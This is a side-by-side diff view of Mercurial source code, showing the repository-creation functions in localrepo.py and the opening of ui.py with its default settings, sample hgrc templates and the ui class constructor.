3655 | Receives a dict of repo creation options and returns a dict of those |
|
3655 | Receives a dict of repo creation options and returns a dict of those | |
3656 | options that we don't know how to handle. |
|
3656 | options that we don't know how to handle. | |
3657 |
|
3657 | |||
3658 | This function is called as part of repository creation. If the |
|
3658 | This function is called as part of repository creation. If the | |
3659 | returned dict contains any items, repository creation will not |
|
3659 | returned dict contains any items, repository creation will not | |
3660 | be allowed, as it means there was a request to create a repository |
|
3660 | be allowed, as it means there was a request to create a repository | |
3661 | with options not recognized by loaded code. |
|
3661 | with options not recognized by loaded code. | |
3662 |
|
3662 | |||
3663 | Extensions can wrap this function to filter out creation options |
|
3663 | Extensions can wrap this function to filter out creation options | |
3664 | they know how to handle. |
|
3664 | they know how to handle. | |
3665 | """ |
|
3665 | """ | |
3666 | known = { |
|
3666 | known = { | |
3667 | b'backend', |
|
3667 | b'backend', | |
3668 | b'lfs', |
|
3668 | b'lfs', | |
3669 | b'narrowfiles', |
|
3669 | b'narrowfiles', | |
3670 | b'sharedrepo', |
|
3670 | b'sharedrepo', | |
3671 | b'sharedrelative', |
|
3671 | b'sharedrelative', | |
3672 | b'shareditems', |
|
3672 | b'shareditems', | |
3673 | b'shallowfilestore', |
|
3673 | b'shallowfilestore', | |
3674 | } |
|
3674 | } | |
3675 |
|
3675 | |||
3676 | return {k: v for k, v in createopts.items() if k not in known} |
|
3676 | return {k: v for k, v in createopts.items() if k not in known} | |
3677 |
|
3677 | |||
3678 |
|
3678 | |||
3679 | def createrepository(ui, path, createopts=None): |
|
3679 | def createrepository(ui, path, createopts=None): | |
3680 | """Create a new repository in a vfs. |
|
3680 | """Create a new repository in a vfs. | |
3681 |
|
3681 | |||
3682 | ``path`` path to the new repo's working directory. |
|
3682 | ``path`` path to the new repo's working directory. | |
3683 | ``createopts`` options for the new repository. |
|
3683 | ``createopts`` options for the new repository. | |
3684 |
|
3684 | |||
3685 | The following keys for ``createopts`` are recognized: |
|
3685 | The following keys for ``createopts`` are recognized: | |
3686 |
|
3686 | |||
3687 | backend |
|
3687 | backend | |
3688 | The storage backend to use. |
|
3688 | The storage backend to use. | |
3689 | lfs |
|
3689 | lfs | |
3690 | Repository will be created with ``lfs`` requirement. The lfs extension |
|
3690 | Repository will be created with ``lfs`` requirement. The lfs extension | |
3691 | will automatically be loaded when the repository is accessed. |
|
3691 | will automatically be loaded when the repository is accessed. | |
3692 | narrowfiles |
|
3692 | narrowfiles | |
3693 | Set up repository to support narrow file storage. |
|
3693 | Set up repository to support narrow file storage. | |
3694 | sharedrepo |
|
3694 | sharedrepo | |
3695 | Repository object from which storage should be shared. |
|
3695 | Repository object from which storage should be shared. | |
3696 | sharedrelative |
|
3696 | sharedrelative | |
3697 | Boolean indicating if the path to the shared repo should be |
|
3697 | Boolean indicating if the path to the shared repo should be | |
3698 | stored as relative. By default, the pointer to the "parent" repo |
|
3698 | stored as relative. By default, the pointer to the "parent" repo | |
3699 | is stored as an absolute path. |
|
3699 | is stored as an absolute path. | |
3700 | shareditems |
|
3700 | shareditems | |
3701 | Set of items to share to the new repository (in addition to storage). |
|
3701 | Set of items to share to the new repository (in addition to storage). | |
3702 | shallowfilestore |
|
3702 | shallowfilestore | |
3703 | Indicates that storage for files should be shallow (not all ancestor |
|
3703 | Indicates that storage for files should be shallow (not all ancestor | |
3704 | revisions are known). |
|
3704 | revisions are known). | |
3705 | """ |
|
3705 | """ | |
3706 | createopts = defaultcreateopts(ui, createopts=createopts) |
|
3706 | createopts = defaultcreateopts(ui, createopts=createopts) | |
3707 |
|
3707 | |||
3708 | unknownopts = filterknowncreateopts(ui, createopts) |
|
3708 | unknownopts = filterknowncreateopts(ui, createopts) | |
3709 |
|
3709 | |||
3710 | if not isinstance(unknownopts, dict): |
|
3710 | if not isinstance(unknownopts, dict): | |
3711 | raise error.ProgrammingError( |
|
3711 | raise error.ProgrammingError( | |
3712 | b'filterknowncreateopts() did not return a dict' |
|
3712 | b'filterknowncreateopts() did not return a dict' | |
3713 | ) |
|
3713 | ) | |
3714 |
|
3714 | |||
3715 | if unknownopts: |
|
3715 | if unknownopts: | |
3716 | raise error.Abort( |
|
3716 | raise error.Abort( | |
3717 | _( |
|
3717 | _( | |
3718 | b'unable to create repository because of unknown ' |
|
3718 | b'unable to create repository because of unknown ' | |
3719 | b'creation option: %s' |
|
3719 | b'creation option: %s' | |
3720 | ) |
|
3720 | ) | |
3721 | % b', '.join(sorted(unknownopts)), |
|
3721 | % b', '.join(sorted(unknownopts)), | |
3722 | hint=_(b'is a required extension not loaded?'), |
|
3722 | hint=_(b'is a required extension not loaded?'), | |
3723 | ) |
|
3723 | ) | |
3724 |
|
3724 | |||
3725 | requirements = newreporequirements(ui, createopts=createopts) |
|
3725 | requirements = newreporequirements(ui, createopts=createopts) | |
3726 | requirements -= checkrequirementscompat(ui, requirements) |
|
3726 | requirements -= checkrequirementscompat(ui, requirements) | |
3727 |
|
3727 | |||
3728 | wdirvfs = vfsmod.vfs(path, expandpath=True, realpath=True) |
|
3728 | wdirvfs = vfsmod.vfs(path, expandpath=True, realpath=True) | |
3729 |
|
3729 | |||
3730 | hgvfs = vfsmod.vfs(wdirvfs.join(b'.hg')) |
|
3730 | hgvfs = vfsmod.vfs(wdirvfs.join(b'.hg')) | |
3731 | if hgvfs.exists(): |
|
3731 | if hgvfs.exists(): | |
3732 | raise error.RepoError(_(b'repository %s already exists') % path) |
|
3732 | raise error.RepoError(_(b'repository %s already exists') % path) | |
3733 |
|
3733 | |||
3734 | if b'sharedrepo' in createopts: |
|
3734 | if b'sharedrepo' in createopts: | |
3735 | sharedpath = createopts[b'sharedrepo'].sharedpath |
|
3735 | sharedpath = createopts[b'sharedrepo'].sharedpath | |
3736 |
|
3736 | |||
3737 | if createopts.get(b'sharedrelative'): |
|
3737 | if createopts.get(b'sharedrelative'): | |
3738 | try: |
|
3738 | try: | |
3739 | sharedpath = os.path.relpath(sharedpath, hgvfs.base) |
|
3739 | sharedpath = os.path.relpath(sharedpath, hgvfs.base) | |
3740 | sharedpath = util.pconvert(sharedpath) |
|
3740 | sharedpath = util.pconvert(sharedpath) | |
3741 | except (IOError, ValueError) as e: |
|
3741 | except (IOError, ValueError) as e: | |
3742 | # ValueError is raised on Windows if the drive letters differ |
|
3742 | # ValueError is raised on Windows if the drive letters differ | |
3743 | # on each path. |
|
3743 | # on each path. | |
3744 | raise error.Abort( |
|
3744 | raise error.Abort( | |
3745 | _(b'cannot calculate relative path'), |
|
3745 | _(b'cannot calculate relative path'), | |
3746 | hint=stringutil.forcebytestr(e), |
|
3746 | hint=stringutil.forcebytestr(e), | |
3747 | ) |
|
3747 | ) | |
3748 |
|
3748 | |||
3749 | if not wdirvfs.exists(): |
|
3749 | if not wdirvfs.exists(): | |
3750 | wdirvfs.makedirs() |
|
3750 | wdirvfs.makedirs() | |
3751 |
|
3751 | |||
3752 | hgvfs.makedir(notindexed=True) |
|
3752 | hgvfs.makedir(notindexed=True) | |
3753 | if b'sharedrepo' not in createopts: |
|
3753 | if b'sharedrepo' not in createopts: | |
3754 | hgvfs.mkdir(b'cache') |
|
3754 | hgvfs.mkdir(b'cache') | |
3755 | hgvfs.mkdir(b'wcache') |
|
3755 | hgvfs.mkdir(b'wcache') | |
3756 |
|
3756 | |||
3757 | has_store = requirementsmod.STORE_REQUIREMENT in requirements |
|
3757 | has_store = requirementsmod.STORE_REQUIREMENT in requirements | |
3758 | if has_store and b'sharedrepo' not in createopts: |
|
3758 | if has_store and b'sharedrepo' not in createopts: | |
3759 | hgvfs.mkdir(b'store') |
|
3759 | hgvfs.mkdir(b'store') | |
3760 |
|
3760 | |||
3761 | # We create an invalid changelog outside the store so very old |
|
3761 | # We create an invalid changelog outside the store so very old | |
3762 | # Mercurial versions (which didn't know about the requirements |
|
3762 | # Mercurial versions (which didn't know about the requirements | |
3763 | # file) encounter an error on reading the changelog. This |
|
3763 | # file) encounter an error on reading the changelog. This | |
3764 | # effectively locks out old clients and prevents them from |
|
3764 | # effectively locks out old clients and prevents them from | |
3765 | # mucking with a repo in an unknown format. |
|
3765 | # mucking with a repo in an unknown format. | |
3766 | # |
|
3766 | # | |
3767 | # The revlog header has version 65535, which won't be recognized by |
|
3767 | # The revlog header has version 65535, which won't be recognized by | |
3768 | # such old clients. |
|
3768 | # such old clients. | |
3769 | hgvfs.append( |
|
3769 | hgvfs.append( | |
3770 | b'00changelog.i', |
|
3770 | b'00changelog.i', | |
3771 | b'\0\0\xFF\xFF dummy changelog to prevent using the old repo ' |
|
3771 | b'\0\0\xFF\xFF dummy changelog to prevent using the old repo ' | |
3772 | b'layout', |
|
3772 | b'layout', | |
3773 | ) |
|
3773 | ) | |
3774 |
|
3774 | |||
3775 | # Filter the requirements into working copy and store ones |
|
3775 | # Filter the requirements into working copy and store ones | |
3776 | wcreq, storereq = scmutil.filterrequirements(requirements) |
|
3776 | wcreq, storereq = scmutil.filterrequirements(requirements) | |
3777 | # write working copy ones |
|
3777 | # write working copy ones | |
3778 | scmutil.writerequires(hgvfs, wcreq) |
|
3778 | scmutil.writerequires(hgvfs, wcreq) | |
3779 | # If there are store requirements and the current repository |
|
3779 | # If there are store requirements and the current repository | |
3780 | # is not a shared one, write stored requirements |
|
3780 | # is not a shared one, write stored requirements | |
3781 | # For new shared repository, we don't need to write the store |
|
3781 | # For new shared repository, we don't need to write the store | |
3782 | # requirements as they are already present in store requires |
|
3782 | # requirements as they are already present in store requires | |
3783 | if storereq and b'sharedrepo' not in createopts: |
|
3783 | if storereq and b'sharedrepo' not in createopts: | |
3784 | storevfs = vfsmod.vfs(hgvfs.join(b'store'), cacheaudited=True) |
|
3784 | storevfs = vfsmod.vfs(hgvfs.join(b'store'), cacheaudited=True) | |
3785 | scmutil.writerequires(storevfs, storereq) |
|
3785 | scmutil.writerequires(storevfs, storereq) | |
3786 |
|
3786 | |||
3787 | # Write out file telling readers where to find the shared store. |
|
3787 | # Write out file telling readers where to find the shared store. | |
3788 | if b'sharedrepo' in createopts: |
|
3788 | if b'sharedrepo' in createopts: | |
3789 | hgvfs.write(b'sharedpath', sharedpath) |
|
3789 | hgvfs.write(b'sharedpath', sharedpath) | |
3790 |
|
3790 | |||
3791 | if createopts.get(b'shareditems'): |
|
3791 | if createopts.get(b'shareditems'): | |
3792 | shared = b'\n'.join(sorted(createopts[b'shareditems'])) + b'\n' |
|
3792 | shared = b'\n'.join(sorted(createopts[b'shareditems'])) + b'\n' | |
3793 | hgvfs.write(b'shared', shared) |
|
3793 | hgvfs.write(b'shared', shared) | |
3794 |
|
3794 | |||
3795 |
|
3795 | |||
3796 | def poisonrepository(repo): |
|
3796 | def poisonrepository(repo): | |
3797 | """Poison a repository instance so it can no longer be used.""" |
|
3797 | """Poison a repository instance so it can no longer be used.""" | |
3798 | # Perform any cleanup on the instance. |
|
3798 | # Perform any cleanup on the instance. | |
3799 | repo.close() |
|
3799 | repo.close() | |
3800 |
|
3800 | |||
3801 | # Our strategy is to replace the type of the object with one that |
|
3801 | # Our strategy is to replace the type of the object with one that | |
3802 | # has all attribute lookups result in error. |
|
3802 | # has all attribute lookups result in error. | |
3803 | # |
|
3803 | # | |
3804 | # But we have to allow the close() method because some constructors |
|
3804 | # But we have to allow the close() method because some constructors | |
3805 | # of repos call close() on repo references. |
|
3805 | # of repos call close() on repo references. | |
3806 | class poisonedrepository(object): |
|
3806 | class poisonedrepository(object): | |
3807 | def __getattribute__(self, item): |
|
3807 | def __getattribute__(self, item): | |
3808 | if item == 'close': |
|
3808 | if item == 'close': | |
3809 | return object.__getattribute__(self, item) |
|
3809 | return object.__getattribute__(self, item) | |
3810 |
|
3810 | |||
3811 | raise error.ProgrammingError( |
|
3811 | raise error.ProgrammingError( | |
3812 | b'repo instances should not be used after unshare' |
|
3812 | b'repo instances should not be used after unshare' | |
3813 | ) |
|
3813 | ) | |
3814 |
|
3814 | |||
3815 | def close(self): |
|
3815 | def close(self): | |
3816 | pass |
|
3816 | pass | |
3817 |
|
3817 | |||
3818 | # We may have a repoview, which intercepts __setattr__. So be sure |
|
3818 | # We may have a repoview, which intercepts __setattr__. So be sure | |
3819 | # we operate at the lowest level possible. |
|
3819 | # we operate at the lowest level possible. | |
3820 | object.__setattr__(repo, '__class__', poisonedrepository) |
|
3820 | object.__setattr__(repo, '__class__', poisonedrepository) |
@@ -1,2236 +1,2236 b'' | |||||
1 | # ui.py - user interface bits for mercurial |
|
1 | # ui.py - user interface bits for mercurial | |
2 | # |
|
2 | # | |
3 | # Copyright 2005-2007 Olivia Mackall <olivia@selenic.com> |
|
3 | # Copyright 2005-2007 Olivia Mackall <olivia@selenic.com> | |
4 | # |
|
4 | # | |
5 | # This software may be used and distributed according to the terms of the |
|
5 | # This software may be used and distributed according to the terms of the | |
6 | # GNU General Public License version 2 or any later version. |
|
6 | # GNU General Public License version 2 or any later version. | |
7 |
|
7 | |||
8 | from __future__ import absolute_import |
|
8 | from __future__ import absolute_import | |
9 |
|
9 | |||
10 | import collections |
|
10 | import collections | |
11 | import contextlib |
|
11 | import contextlib | |
12 | import datetime |
|
12 | import datetime | |
13 | import errno |
|
13 | import errno | |
14 | import inspect |
|
14 | import inspect | |
15 | import os |
|
15 | import os | |
16 | import re |
|
16 | import re | |
17 | import signal |
|
17 | import signal | |
18 | import socket |
|
18 | import socket | |
19 | import subprocess |
|
19 | import subprocess | |
20 | import sys |
|
20 | import sys | |
21 | import traceback |
|
21 | import traceback | |
22 |
|
22 | |||
23 | from .i18n import _ |
|
23 | from .i18n import _ | |
24 | from .node import hex |
|
24 | from .node import hex | |
25 | from .pycompat import ( |
|
25 | from .pycompat import ( | |
26 | getattr, |
|
26 | getattr, | |
27 | open, |
|
27 | open, | |
28 | ) |
|
28 | ) | |
29 |
|
29 | |||
30 | from . import ( |
|
30 | from . import ( | |
31 | color, |
|
31 | color, | |
32 | config, |
|
32 | config, | |
33 | configitems, |
|
33 | configitems, | |
34 | encoding, |
|
34 | encoding, | |
35 | error, |
|
35 | error, | |
36 | formatter, |
|
36 | formatter, | |
37 | loggingutil, |
|
37 | loggingutil, | |
38 | progress, |
|
38 | progress, | |
39 | pycompat, |
|
39 | pycompat, | |
40 | rcutil, |
|
40 | rcutil, | |
41 | scmutil, |
|
41 | scmutil, | |
42 | util, |
|
42 | util, | |
43 | ) |
|
43 | ) | |
44 | from .utils import ( |
|
44 | from .utils import ( | |
45 | dateutil, |
|
45 | dateutil, | |
46 | procutil, |
|
46 | procutil, | |
47 | resourceutil, |
|
47 | resourceutil, | |
48 | stringutil, |
|
48 | stringutil, | |
49 | urlutil, |
|
49 | urlutil, | |
50 | ) |
|
50 | ) | |
51 |
|
51 | |||
52 | urlreq = util.urlreq |
|
52 | urlreq = util.urlreq | |
53 |
|
53 | |||
54 | # for use with str.translate(None, _keepalnum), to keep just alphanumerics |
|
54 | # for use with str.translate(None, _keepalnum), to keep just alphanumerics | |
55 | _keepalnum = b''.join( |
|
55 | _keepalnum = b''.join( | |
56 | c for c in map(pycompat.bytechr, range(256)) if not c.isalnum() |
|
56 | c for c in map(pycompat.bytechr, range(256)) if not c.isalnum() | |
57 | ) |
|
57 | ) | |
58 |
|
58 | |||
59 | # The config knobs that will be altered (if unset) by ui.tweakdefaults. |
|
59 | # The config knobs that will be altered (if unset) by ui.tweakdefaults. | |
60 | tweakrc = b""" |
|
60 | tweakrc = b""" | |
61 | [ui] |
|
61 | [ui] | |
62 | # The rollback command is dangerous. As a rule, don't use it. |
|
62 | # The rollback command is dangerous. As a rule, don't use it. | |
63 | rollback = False |
|
63 | rollback = False | |
64 | # Make `hg status` report copy information |
|
64 | # Make `hg status` report copy information | |
65 | statuscopies = yes |
|
65 | statuscopies = yes | |
66 | # Prefer curses UIs when available. Revert to plain-text with `text`. |
|
66 | # Prefer curses UIs when available. Revert to plain-text with `text`. | |
67 | interface = curses |
|
67 | interface = curses | |
68 | # Make compatible commands emit cwd-relative paths by default. |
|
68 | # Make compatible commands emit cwd-relative paths by default. | |
69 | relative-paths = yes |
|
69 | relative-paths = yes | |
70 |
|
70 | |||
71 | [commands] |
|
71 | [commands] | |
72 | # Grep working directory by default. |
|
72 | # Grep working directory by default. | |
73 | grep.all-files = True |
|
73 | grep.all-files = True | |
74 | # Refuse to perform an `hg update` that would cause a file content merge |
|
74 | # Refuse to perform an `hg update` that would cause a file content merge | |
75 | update.check = noconflict |
|
75 | update.check = noconflict | |
76 | # Show conflicts information in `hg status` |
|
76 | # Show conflicts information in `hg status` | |
77 | status.verbose = True |
|
77 | status.verbose = True | |
78 | # Make `hg resolve` with no action (like `-m`) fail instead of re-merging. |
|
78 | # Make `hg resolve` with no action (like `-m`) fail instead of re-merging. | |
79 | resolve.explicit-re-merge = True |
|
79 | resolve.explicit-re-merge = True | |
80 |
|
80 | |||
81 | [diff] |
|
81 | [diff] | |
82 | git = 1 |
|
82 | git = 1 | |
83 | showfunc = 1 |
|
83 | showfunc = 1 | |
84 | word-diff = 1 |
|
84 | word-diff = 1 | |
85 | """ |
|
85 | """ | |
86 |
|
86 | |||
87 | samplehgrcs = { |
|
87 | samplehgrcs = { | |
88 | b'user': b"""# example user config (see 'hg help config' for more info) |
|
88 | b'user': b"""# example user config (see 'hg help config' for more info) | |
89 | [ui] |
|
89 | [ui] | |
90 | # name and email, e.g. |
|
90 | # name and email, e.g. | |
91 | # username = Jane Doe <jdoe@example.com> |
|
91 | # username = Jane Doe <jdoe@example.com> | |
92 | username = |
|
92 | username = | |
93 |
|
93 | |||
94 | # We recommend enabling tweakdefaults to get slight improvements to |
|
94 | # We recommend enabling tweakdefaults to get slight improvements to | |
95 | # the UI over time. Make sure to set HGPLAIN in the environment when |
|
95 | # the UI over time. Make sure to set HGPLAIN in the environment when | |
96 | # writing scripts! |
|
96 | # writing scripts! | |
97 | # tweakdefaults = True |
|
97 | # tweakdefaults = True | |
98 |
|
98 | |||
99 | # uncomment to disable color in command output |
|
99 | # uncomment to disable color in command output | |
100 | # (see 'hg help color' for details) |
|
100 | # (see 'hg help color' for details) | |
101 | # color = never |
|
101 | # color = never | |
102 |
|
102 | |||
103 | # uncomment to disable command output pagination |
|
103 | # uncomment to disable command output pagination | |
104 | # (see 'hg help pager' for details) |
|
104 | # (see 'hg help pager' for details) | |
105 | # paginate = never |
|
105 | # paginate = never | |
106 |
|
106 | |||
107 | [extensions] |
|
107 | [extensions] | |
108 | # uncomment the lines below to enable some popular extensions |
|
108 | # uncomment the lines below to enable some popular extensions | |
109 | # (see 'hg help extensions' for more info) |
|
109 | # (see 'hg help extensions' for more info) | |
110 | # |
|
110 | # | |
111 | # histedit = |
|
111 | # histedit = | |
112 | # rebase = |
|
112 | # rebase = | |
113 | # uncommit = |
|
113 | # uncommit = | |
114 | """, |
|
114 | """, | |
115 | b'cloned': b"""# example repository config (see 'hg help config' for more info) |
|
115 | b'cloned': b"""# example repository config (see 'hg help config' for more info) | |
116 | [paths] |
|
116 | [paths] | |
117 | default = %s |
|
117 | default = %s | |
118 |
|
118 | |||
119 | # path aliases to other clones of this repo in URLs or filesystem paths |
|
119 | # path aliases to other clones of this repo in URLs or filesystem paths | |
120 | # (see 'hg help config.paths' for more info) |
|
120 | # (see 'hg help config.paths' for more info) | |
121 | # |
|
121 | # | |
122 | # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork |
|
122 | # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork | |
123 | # my-fork = ssh://jdoe@example.net/hg/jdoes-fork |
|
123 | # my-fork = ssh://jdoe@example.net/hg/jdoes-fork | |
124 | # my-clone = /home/jdoe/jdoes-clone |
|
124 | # my-clone = /home/jdoe/jdoes-clone | |
125 |
|
125 | |||
126 | [ui] |
|
126 | [ui] | |
127 | # name and email (local to this repository, optional), e.g. |
|
127 | # name and email (local to this repository, optional), e.g. | |
128 | # username = Jane Doe <jdoe@example.com> |
|
128 | # username = Jane Doe <jdoe@example.com> | |
129 | """, |
|
129 | """, | |
130 | b'local': b"""# example repository config (see 'hg help config' for more info) |
|
130 | b'local': b"""# example repository config (see 'hg help config' for more info) | |
131 | [paths] |
|
131 | [paths] | |
132 | # path aliases to other clones of this repo in URLs or filesystem paths |
|
132 | # path aliases to other clones of this repo in URLs or filesystem paths | |
133 | # (see 'hg help config.paths' for more info) |
|
133 | # (see 'hg help config.paths' for more info) | |
134 | # |
|
134 | # | |
135 | # default = http://example.com/hg/example-repo |
|
135 | # default = http://example.com/hg/example-repo | |
136 | # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork |
|
136 | # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork | |
137 | # my-fork = ssh://jdoe@example.net/hg/jdoes-fork |
|
137 | # my-fork = ssh://jdoe@example.net/hg/jdoes-fork | |
138 | # my-clone = /home/jdoe/jdoes-clone |
|
138 | # my-clone = /home/jdoe/jdoes-clone | |
139 |
|
139 | |||
140 | [ui] |
|
140 | [ui] | |
141 | # name and email (local to this repository, optional), e.g. |
|
141 | # name and email (local to this repository, optional), e.g. | |
142 | # username = Jane Doe <jdoe@example.com> |
|
142 | # username = Jane Doe <jdoe@example.com> | |
143 | """, |
|
143 | """, | |
144 | b'global': b"""# example system-wide hg config (see 'hg help config' for more info) |
|
144 | b'global': b"""# example system-wide hg config (see 'hg help config' for more info) | |
145 |
|
145 | |||
146 | [ui] |
|
146 | [ui] | |
147 | # uncomment to disable color in command output |
|
147 | # uncomment to disable color in command output | |
148 | # (see 'hg help color' for details) |
|
148 | # (see 'hg help color' for details) | |
149 | # color = never |
|
149 | # color = never | |
150 |
|
150 | |||
151 | # uncomment to disable command output pagination |
|
151 | # uncomment to disable command output pagination | |
152 | # (see 'hg help pager' for details) |
|
152 | # (see 'hg help pager' for details) | |
153 | # paginate = never |
|
153 | # paginate = never | |
154 |
|
154 | |||
155 | [extensions] |
|
155 | [extensions] | |
156 | # uncomment the lines below to enable some popular extensions |
|
156 | # uncomment the lines below to enable some popular extensions | |
157 | # (see 'hg help extensions' for more info) |
|
157 | # (see 'hg help extensions' for more info) | |
158 | # |
|
158 | # | |
159 | # blackbox = |
|
159 | # blackbox = | |
160 | # churn = |
|
160 | # churn = | |
161 | """, |
|
161 | """, | |
162 | } |
|
162 | } | |
163 |
|
163 | |||
164 |
|
164 | |||
165 | def _maybestrurl(maybebytes): |
|
165 | def _maybestrurl(maybebytes): | |
166 | return pycompat.rapply(pycompat.strurl, maybebytes) |
|
166 | return pycompat.rapply(pycompat.strurl, maybebytes) | |
167 |
|
167 | |||
168 |
|
168 | |||
169 | def _maybebytesurl(maybestr): |
|
169 | def _maybebytesurl(maybestr): | |
170 | return pycompat.rapply(pycompat.bytesurl, maybestr) |
|
170 | return pycompat.rapply(pycompat.bytesurl, maybestr) | |
171 |
|
171 | |||
172 |
|
172 | |||
173 | class httppasswordmgrdbproxy(object): |
|
173 | class httppasswordmgrdbproxy(object): | |
174 | """Delays loading urllib2 until it's needed.""" |
|
174 | """Delays loading urllib2 until it's needed.""" | |
175 |
|
175 | |||
176 | def __init__(self): |
|
176 | def __init__(self): | |
177 | self._mgr = None |
|
177 | self._mgr = None | |
178 |
|
178 | |||
179 | def _get_mgr(self): |
|
179 | def _get_mgr(self): | |
180 | if self._mgr is None: |
|
180 | if self._mgr is None: | |
181 | self._mgr = urlreq.httppasswordmgrwithdefaultrealm() |
|
181 | self._mgr = urlreq.httppasswordmgrwithdefaultrealm() | |
182 | return self._mgr |
|
182 | return self._mgr | |
183 |
|
183 | |||
184 | def add_password(self, realm, uris, user, passwd): |
|
184 | def add_password(self, realm, uris, user, passwd): | |
185 | return self._get_mgr().add_password( |
|
185 | return self._get_mgr().add_password( | |
186 | _maybestrurl(realm), |
|
186 | _maybestrurl(realm), | |
187 | _maybestrurl(uris), |
|
187 | _maybestrurl(uris), | |
188 | _maybestrurl(user), |
|
188 | _maybestrurl(user), | |
189 | _maybestrurl(passwd), |
|
189 | _maybestrurl(passwd), | |
190 | ) |
|
190 | ) | |
191 |
|
191 | |||
192 | def find_user_password(self, realm, uri): |
|
192 | def find_user_password(self, realm, uri): | |
193 | mgr = self._get_mgr() |
|
193 | mgr = self._get_mgr() | |
194 | return _maybebytesurl( |
|
194 | return _maybebytesurl( | |
195 | mgr.find_user_password(_maybestrurl(realm), _maybestrurl(uri)) |
|
195 | mgr.find_user_password(_maybestrurl(realm), _maybestrurl(uri)) | |
196 | ) |
|
196 | ) | |
197 |
|
197 | |||
198 |
|
198 | |||
199 | def _catchterm(*args): |
|
199 | def _catchterm(*args): | |
200 | raise error.SignalInterrupt |
|
200 | raise error.SignalInterrupt | |
201 |
|
201 | |||
202 |
|
202 | |||
203 | # unique object used to detect no default value has been provided when |
|
203 | # unique object used to detect no default value has been provided when | |
204 | # retrieving configuration value. |
|
204 | # retrieving configuration value. | |
205 | _unset = object() |
|
205 | _unset = object() | |
206 |
|
206 | |||
207 | # _reqexithandlers: callbacks run at the end of a request |
|
207 | # _reqexithandlers: callbacks run at the end of a request | |
208 | _reqexithandlers = [] |
|
208 | _reqexithandlers = [] | |
209 |
|
209 | |||
210 |
|
210 | |||
211 | class ui(object): |
|
211 | class ui(object): | |
212 | def __init__(self, src=None): |
|
212 | def __init__(self, src=None): | |
213 | """Create a fresh new ui object if no src given |
|
213 | """Create a fresh new ui object if no src given | |
214 |
|
214 | |||
215 | Use uimod.ui.load() to create a ui which knows global and user configs. |
|
215 | Use uimod.ui.load() to create a ui which knows global and user configs. | |
216 | In most cases, you should use ui.copy() to create a copy of an existing |
|
216 | In most cases, you should use ui.copy() to create a copy of an existing | |
217 | ui object. |
|
217 | ui object. | |
218 | """ |
|
218 | """ | |
219 | # _buffers: used for temporary capture of output |
|
219 | # _buffers: used for temporary capture of output | |
220 | self._buffers = [] |
|
220 | self._buffers = [] | |
221 | # 3-tuple describing how each buffer in the stack behaves. |
|
221 | # 3-tuple describing how each buffer in the stack behaves. | |
222 | # Values are (capture stderr, capture subprocesses, apply labels). |
|
222 | # Values are (capture stderr, capture subprocesses, apply labels). | |
223 | self._bufferstates = [] |
|
223 | self._bufferstates = [] | |
224 | # When a buffer is active, defines whether we are expanding labels. |
|
224 | # When a buffer is active, defines whether we are expanding labels. | |
225 | # This exists to prevent an extra list lookup. |
|
225 | # This exists to prevent an extra list lookup. | |
226 | self._bufferapplylabels = None |
|
226 | self._bufferapplylabels = None | |
227 | self.quiet = self.verbose = self.debugflag = self.tracebackflag = False |
|
227 | self.quiet = self.verbose = self.debugflag = self.tracebackflag = False | |
228 | self._reportuntrusted = True |
|
228 | self._reportuntrusted = True | |
229 | self._knownconfig = configitems.coreitems |
|
229 | self._knownconfig = configitems.coreitems | |
230 | self._ocfg = config.config() # overlay |
|
230 | self._ocfg = config.config() # overlay | |
231 | self._tcfg = config.config() # trusted |
|
231 | self._tcfg = config.config() # trusted | |
232 | self._ucfg = config.config() # untrusted |
|
232 | self._ucfg = config.config() # untrusted | |
233 | self._trustusers = set() |
|
233 | self._trustusers = set() | |
234 | self._trustgroups = set() |
|
234 | self._trustgroups = set() | |
235 | self.callhooks = True |
|
235 | self.callhooks = True | |
236 | # hold the root to use for each [paths] entry |
|
236 | # hold the root to use for each [paths] entry | |
237 | self._path_to_root = {} |
|
237 | self._path_to_root = {} | |
238 | # Insecure server connections requested. |
|
238 | # Insecure server connections requested. | |
239 | self.insecureconnections = False |
|
239 | self.insecureconnections = False | |
240 | # Blocked time |
|
240 | # Blocked time | |
241 | self.logblockedtimes = False |
|
241 | self.logblockedtimes = False | |
242 | # color mode: see mercurial/color.py for possible value |
|
242 | # color mode: see mercurial/color.py for possible value | |
243 | self._colormode = None |
|
243 | self._colormode = None | |
244 | self._terminfoparams = {} |
|
244 | self._terminfoparams = {} | |
245 | self._styles = {} |
|
245 | self._styles = {} | |
246 | self._uninterruptible = False |
|
246 | self._uninterruptible = False | |
247 | self.showtimestamp = False |
|
247 | self.showtimestamp = False | |
248 |
|
248 | |||
249 | if src: |
|
249 | if src: | |
250 | self._fout = src._fout |
|
250 | self._fout = src._fout | |
251 | self._ferr = src._ferr |
|
251 | self._ferr = src._ferr | |
252 | self._fin = src._fin |
|
252 | self._fin = src._fin | |
253 | self._fmsg = src._fmsg |
|
253 | self._fmsg = src._fmsg | |
254 | self._fmsgout = src._fmsgout |
|
254 | self._fmsgout = src._fmsgout | |
255 | self._fmsgerr = src._fmsgerr |
|
255 | self._fmsgerr = src._fmsgerr | |
256 | self._finoutredirected = src._finoutredirected |
|
256 | self._finoutredirected = src._finoutredirected | |
257 | self._loggers = src._loggers.copy() |
|
257 | self._loggers = src._loggers.copy() | |
258 | self.pageractive = src.pageractive |
|
258 | self.pageractive = src.pageractive | |
259 | self._disablepager = src._disablepager |
|
259 | self._disablepager = src._disablepager | |
260 | self._tweaked = src._tweaked |
|
260 | self._tweaked = src._tweaked | |
261 |
|
261 | |||
262 | self._tcfg = src._tcfg.copy() |
|
262 | self._tcfg = src._tcfg.copy() | |
263 | self._ucfg = src._ucfg.copy() |
|
263 | self._ucfg = src._ucfg.copy() | |
264 | self._ocfg = src._ocfg.copy() |
|
264 | self._ocfg = src._ocfg.copy() | |
265 | self._trustusers = src._trustusers.copy() |
|
265 | self._trustusers = src._trustusers.copy() | |
266 | self._trustgroups = src._trustgroups.copy() |
|
266 | self._trustgroups = src._trustgroups.copy() | |
267 | self.environ = src.environ |
|
267 | self.environ = src.environ | |
268 | self.callhooks = src.callhooks |
|
268 | self.callhooks = src.callhooks | |
269 | self._path_to_root = src._path_to_root |
|
269 | self._path_to_root = src._path_to_root | |
270 | self.insecureconnections = src.insecureconnections |
|
270 | self.insecureconnections = src.insecureconnections | |
271 | self._colormode = src._colormode |
|
271 | self._colormode = src._colormode | |
